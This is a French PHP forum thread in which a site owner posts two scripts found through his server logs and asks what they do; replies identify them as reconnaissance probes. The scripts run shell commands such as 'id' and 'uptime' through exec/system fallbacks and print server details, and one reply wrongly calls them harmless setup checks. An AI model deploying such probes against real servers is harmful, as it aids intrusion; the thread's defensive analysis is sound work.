IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Langage PHP Discussion :

[Système] Que fait ce script.


Sujet :

Langage PHP

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Juin 2003
    Messages
    7
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Juin 2003
    Messages : 7
    Par défaut [Système] Que fait ce script.
    Bonsoir,
    En regargant discretement mes logs de mon site, j'ai trouvé une adresse qui contenait un fichier .txt en fait un script php. Que fait ce script? qans une adresse:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
     
    <?
    $dir = @getcwd();
    echo "Mic22<br>";
    $OS = @PHP_UNAME();
    echo "OSTYPE:$OS<br>";
    $free = disk_free_space($dir); 
     
    if ($free === FALSE) {$free = 0;} 
     
    if ($free < 0) {$free = 0;} 
    echo "Free:".view_size($free)."<br>"; 
     
    $cmd="id";
    $eseguicmd=ex($cmd);
    echo $eseguicmd;
     
    function ex($cfe){
    $res = '';
    if (!empty($cfe)){
    if(function_exists('exec')){
    @exec($cfe,$res);
    $res = join("\n",$res);
    }
    elseif(function_exists('shell_exec')){
    $res = @shell_exec($cfe);
    }
    elseif(function_exists('system')){
    @ob_start();
    @system($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
    }
    elseif(function_exists('passthru')){
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
    }
    elseif(@is_resource($f = @popen($cfe,"r"))){
    $res = "";
    while(!@feof($f)) { $res .= @fread($f,1024); }
    @pclose($f);
    }}
    return $res;
    }
     
    function view_size($size) 
     
    { 
     
    if (!is_numeric($size)) {return FALSE;} 
     
    else 
     
    { 
     
    if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} 
     
    elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} 
     
    elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} 
     
    else {$size = $size . " B";} 
     
    return $size; 
     
    }} 
     
    exit;
    En fait j'avais dèja reperèrer une adresse .ru qui contenait aussi un fichier txt et qui recherchait un mot de passe et essayait de construire un fichier r. Bidon ou non?

  2. #2
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Juin 2003
    Messages
    7
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Juin 2003
    Messages : 7
    Par défaut Voici le fichier r.txt en question
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    <?php
    function ConvertBytes($number)
    {
            $len = strlen($number);
            if($len < 4)
            {
                    return sprintf("%d b", $number);
            }
            if($len >= 4 && $len <=6)
            {
                    return sprintf("%0.2f Kb", $number/1024);
            }
            if($len >= 7 && $len <=9)
            {
                    return sprintf("%0.2f Mb", $number/1024/1024);
            }
     
            return sprintf("%0.2f Gb", $number/1024/1024/1024);
     
    }
     
    echo "kangkung<br>";
    $un = @php_uname();
    $up = system(uptime);
    $id1 = system(id);
    $pwd1 = @getcwd();
    $sof1 = getenv("SERVER_SOFTWARE");
    $php1 = phpversion();
    $name1 = $_SERVER['SERVER_NAME'];
    $ip1 = gethostbyname($SERVER_ADDR);
    $free1= diskfreespace($pwd1);
    $free = ConvertBytes(diskfreespace($pwd1));
    if (!$free) {$free = 0;}
    $all1= disk_total_space($pwd1);
    $all = ConvertBytes(disk_total_space($pwd1));
    if (!$all) {$all = 0;}
    $used = ConvertBytes($all1-$free1);
    $os = @PHP_OS;
     
     
    echo "kangkung was here ..<br>";
    echo "uname -a: $un<br>";
    echo "os: $os<br>";
    echo "uptime: $up<br>";
    echo "id: $id1<br>";
    echo "pwd: $pwd1<br>";
    echo "php: $php1<br>";
    echo "software: $sof1<br>";
    echo "server-name: $name1<br>";
    echo "server-ip: $ip1<br>";
    echo "free: $free<br>";
    echo "used: $used<br>";
    echo "total: $all<br>";
    exit;

  3. #3
    Membre expérimenté
    Homme Profil pro
    Ingénieur sécurité
    Inscrit en
    Juillet 2007
    Messages
    193
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 38
    Localisation : France, Paris (Île de France)

    Informations professionnelles :
    Activité : Ingénieur sécurité
    Secteur : High Tech - Produits et services télécom et Internet

    Informations forums :
    Inscription : Juillet 2007
    Messages : 193
    Par défaut
    Tout son script cherche juste des infos, et les sorts a la fin avec tous ces echo. Le mec doit s'appeler kangkung, mais en tout cas ce script fait rien de mal a port sortir pas mal d'information sur ton systeme.

    Il doit peut etre tester une faille avec ca, et si ca marche, il passe a autre chose de plus serieux.

  4. #4
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Juin 2003
    Messages
    7
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Juin 2003
    Messages : 7
    Par défaut
    Merci pour ta réponse. Je ne suis pas du tout calé en php et en sécurité . Mais mon système ou un système semblable serait -il assez "naif" pour donner un mot de passe à une interrogation venue de l'extérieur?

  5. #5
    Membre Expert
    Avatar de Sub0
    Homme Profil pro
    Développeur Web
    Inscrit en
    Décembre 2002
    Messages
    3 573
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 52

    Informations professionnelles :
    Activité : Développeur Web

    Informations forums :
    Inscription : Décembre 2002
    Messages : 3 573
    Par défaut
    Ce script permet selon moi de vérifier entre autre l'espace libre du disque et la version de PHP utilisée. Ça ressemble au genre de fonctionalités utilisées pour préparer l'installation d'un site ou d'utiliser d'autres scripts / librairie, savoir si la config est suffisante pour installer un programme... Je ne suis pas trop calé dans ce domaine, mais je pense qu'il n'y a pas trop de risques niveau sécurité à partir du moment où il s'agit bien d'un serveur distant destiné à ce genre de chose...

  6. #6
    Membre Expert

    Homme Profil pro
    Inscrit en
    Janvier 2004
    Messages
    1 249
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Secteur : Finance

    Informations forums :
    Inscription : Janvier 2004
    Messages : 1 249
    Par défaut
    Tout est presque sans danger, sauf les appels de fonction du genre phpversion() et les fonctions du meme genre qui récuperent les informations sur le systeme (la taille disponible sur le disque par contre on s'en fout ^^)

    Quand on cherche a connaitre la version du PHP, c'est parce qu'on espere trouver une vieille (= pas la derniere, meme si ca date de 3h...) version dans laquelle une faille a été corrigée dans une version ulterieure.

    A partir de là, le pirate peut tenter d'exploiter la faille car il SAIT que ton systeme est vulnérable tant qu'il n'est pas a jour.

    Sinon, il est obligé d'avancer en aveugle... et préfèrera souvent aller sur un autre site moins "chiant" a pirater.

    C'est aussi la raison pour laquelle il est déconseillée de laisser une page accessible contenant phpinfo() (en plus du fait que de l'html soit interprété il me semble, permettant la récupération de cookies...)

    Bref, pas de phpinfo(), pas d'infos sur le systeme ou tourne le serveur = pirate aveugle.

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. Que fait ce script ?
    Par mouss4rs dans le forum Linux
    Réponses: 2
    Dernier message: 10/01/2010, 00h31
  2. Réponses: 9
    Dernier message: 27/03/2005, 23h29
  3. mais que fait upper_range() dans un multimap?
    Par porcher dans le forum C++
    Réponses: 7
    Dernier message: 18/02/2005, 22h21
  4. comment savoir ce que fait mon pointeur??
    Par elekis dans le forum C++
    Réponses: 9
    Dernier message: 30/11/2004, 12h42
  5. Mais que fait static ???
    Par elsargento dans le forum C
    Réponses: 4
    Dernier message: 25/09/2003, 09h55

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo